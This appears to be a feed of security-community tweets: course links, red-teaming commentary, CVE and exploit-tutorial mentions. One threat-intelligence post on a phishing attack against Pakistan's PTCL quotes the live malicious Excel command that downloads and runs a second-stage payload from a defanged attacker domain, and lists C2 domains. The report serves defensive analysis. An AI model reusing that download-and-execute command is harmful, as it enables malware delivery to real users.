delo

Forever learning

[RussianPanda 🐼 🇺🇦 @RussianPanda9xx]

I have been seeing reverse engineering / malware analysis courses that cost thousands of dollars. Do you know you can actually learn that for free, right? There are also a bunch of other courses out there that are way cheaper or even free:

- https://t.co/x0CWhENuTj
- https://t.co/dAUX2IulA9
- https://t.co/XD7BMbQbQB
- https://t.co/HyAEehO3F9
- https://t.co/NffYBgFmWD
- https://t.co/pJUPZCLVWz
- https://t.co/DldwPTTz6N
- https://t.co/RdKdLqZp8H

[0xor0ne @0xor0ne]

Excellent high level walkthrough of how LLMs work (@0xkato)

https://t.co/WIYczAcC8T

#infosec

[thaddeus e. grugq @thegrugq]

The only cybersecurity barrier that Mythos has lowered is the level of cybersecurity knowledge in the people talking about AI and cybersecurity.

[frycos @frycos]

Infosec community right now…

[Riley Walz @rtwlz]

We cloned Gmail, except you're logged in as Epstein and can see his emails

[blackorbird @blackorbird]

We need a new EternalBlue vulnerability to break this balance.

[Today In Infosec @todayininfosec]

1983: While a Stony Brook grad student, Perry Kivolowitz published a keylogger he wrote to the net.unix-wizards and net.sources newsgroups in order to educate others about the risk.

[ϻг_ϻε @steventseeley]

Looks like it’s time to drop some Java RCE soon, you know, the non-attention grabbing kind and gets you a shell from a default config.

[FuzzingLabs @FuzzingLabs]

💣 We caught @ycombinator–backed @gecko_sec stealing two of our CVEs, one on @ollama , one on @Gradio.
They copied our PoCs, claimed CVE IDs, and even back-dated their blog posts.
Here’s the full story 👇

[Faith 🇧🇩🇦🇺 @farazsth98]

https://t.co/j5f6AZq6BI

[Justin Elze @HackingLZ]

Red teaming(in InfoSec)originally meant breaking into organizations and demonstrating real impact by testing assumptions, technologies, and processes with minimal restrictions before frameworks like MITRE ATT&CK and the rise of purple teaming. Over time, some people began using “red teaming” as a catch all label for identifying and testing all InfoSec problems, which dilutes its meaning.

After ATT&CK and the growth of CTI, there was pressure to anchor red teaming in CTI. But CTI often fails to account for important differences between organizations in the same sector things like market share, risk tolerance, insurance, and operational constraints. If you give a red team the EDR vendor and sensor version, they can usually predict which CTI reported techniques will or won’t work on a workstation. Then the question becomes how much do you need to deviate from observed CTI techniques to succeed in a specific environment? Often the answer is: enough that you end up forging your own path.

Now that purple teaming is an established practice, red teaming should reorient toward the present and the future, rather than simply replaying CTI attack chains from months old reports replaying is largely a purple team activity anyway. CTI still has value analyze it for discrete bits of tradecraft that are easy to miss or undervalue, but avoid treating CTI as a mandate to reproduce entire attack chains.

Historically, red teams have sometimes been ahead of the curve they’ve developed techniques that later reappeared in the wild. Organizations that regularly run red teams often already have incident response playbooks and mitigations in place by the time those techniques show up broadly in CTI.

Standard red team conversation disclaimer, as this is Twitter, I'm aware of the disparity in defensive posture across companies worldwide. The above is focused on companies that would and should be performing red teams.

Happy Friday

[pyn3rd @pyn3rd]

#CVE-2024-21733, a Tomcat HTTP Request Smuggling vulnerability, reminds me of the HeartBleed vulnerability, which had a profound impact 10 years ago. In both cases, buffer over-reading is the root cause. Attacker is overwhelmingly likely to skim sensitive data from buffer cache.

[Florian Roth ⚡️ @cyb3rops]

Finally, some technical insight into CitrixBleed 2 (CVE-2025-5777)

Very useful for anyone looking to detect signs of exploitation in logs or reverse proxy traffic

Thanks to Yury and the teams at RST and watchTowr for digging into this

https://t.co/6xhFS7YO7G

[delo @dec1x0_]

@vxunderground Kevin Methnick

[Smukx.E @5mukx]

VirtualProtect DEP Bypass: Step-By-Step Exploit

https://t.co/gPhtqYc2Nj

[VictorV @vv474172261]

https://t.co/jICmAKozDT
RDG RCE sharing

[/r/netsec @_r_netsec]

How I ruined my vacation by reverse engineering WSC https://t.co/p0DDQ09fAA

[Arda Büyükkaya @WhichbufferArda]

On May 7, 2025, following heightened India–Pakistan tensions, Pakistan Telecommunication Company (PTCL) was hit by a phishing attack leveraging a spoofed email appearing to be from Pakistan’s Counter Terrorism Department, using a “Security Brief Report” lure to deceive recipients.

The email carried an ICQ (Excel Web Query) attachment. Once opened, it connected to fogomyart[.]com/random.php and executed an Excel macro with the following command:

=cmd|' /c cd C:\\programdata & set /P=\"MZ\"<nul>b1 & curl -o b2 https://fogomyart[.]com/vcswin & copy /b b1+b2 vcswin.exe & start /b vcswin.exe'!A0

This command downloaded a second-stage payload, added an "MZ" header to make it executable, and ran it in memory. The malware then established command and control (C2) connections to:

fogomyart[.]com
tradesmarkets.greenadelhouse[.]com

Malware sample:
https://t.co/Y09Gg0S2cK
https://t.co/fpZcrcZKLk
https://t.co/Y53ehdUhzt

[Smukx.E @5mukx]

Finally, Indirect syscall Done ...〆(･ω･。)

[Jonny Johnson @JonnyJohnson_]

Pretty crazy plugin in @ninja_binary called "COMpanion", essentially it auto applies COM types. Been working with it recently and it has quickened my analysis process I no longer have to manually map methods. Here is a simple before and after.

cc: @vector35